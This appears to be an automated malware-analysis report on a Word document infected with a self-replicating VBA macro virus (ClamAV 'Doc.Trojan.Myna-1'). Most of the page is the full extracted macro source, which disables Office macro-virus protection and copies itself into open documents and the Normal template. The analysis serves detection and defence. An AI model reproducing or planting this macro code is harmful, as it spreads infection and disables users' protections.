MALICIOUS
208
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1553.005 Ransomware Behavior
The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves by injecting code into other documents and templates. The macro uses the string "MYNAMEISVIRUS" as a marker and attempts to insert code from the "ThisDocument" component. This behavior, along with ClamAV detections of 'Doc.Trojan.Myna-1', indicates a self-replicating macro-based threat.
Heuristics 4
-
ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Myna-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4428 bytes |
SHA-256: 3bff89c46f95d3bddadaf3a28a14b52b868fbc9f9c747665f0905bd45886b3f1 |
|||
|
Detection
ClamAV:
Doc.Trojan.Myna-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
Options.VirusProtection = False
answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
' If xitem.Name = "NewMacros" Then
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
Next
End If
For Each xitem In NormalTemplate.VBProject.VBComponents
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
End Sub
Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
Options.VirusProtection = False
answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
Count = Count + 1
' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
' If xitem.Name = "NewMacros" Then
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
Next
End If
For Each xitem In NormalTemplate.VBProject.VBComponents
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
End Sub
Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
answer = "MYNAMEISVIRUS"
Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
Count = Count + 1
' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
' If xitem.Name = "NewMacros" Then
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
Next
End If
For Each xitem In NormalTemplate.VBProject.VBComponents
If xitem.Name = "ThisDocument" Then
send = xitem.codemodule.countoflines
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
If aready = False Then
With xitem.codemodule
.insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
End With
End If
End If
Next
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.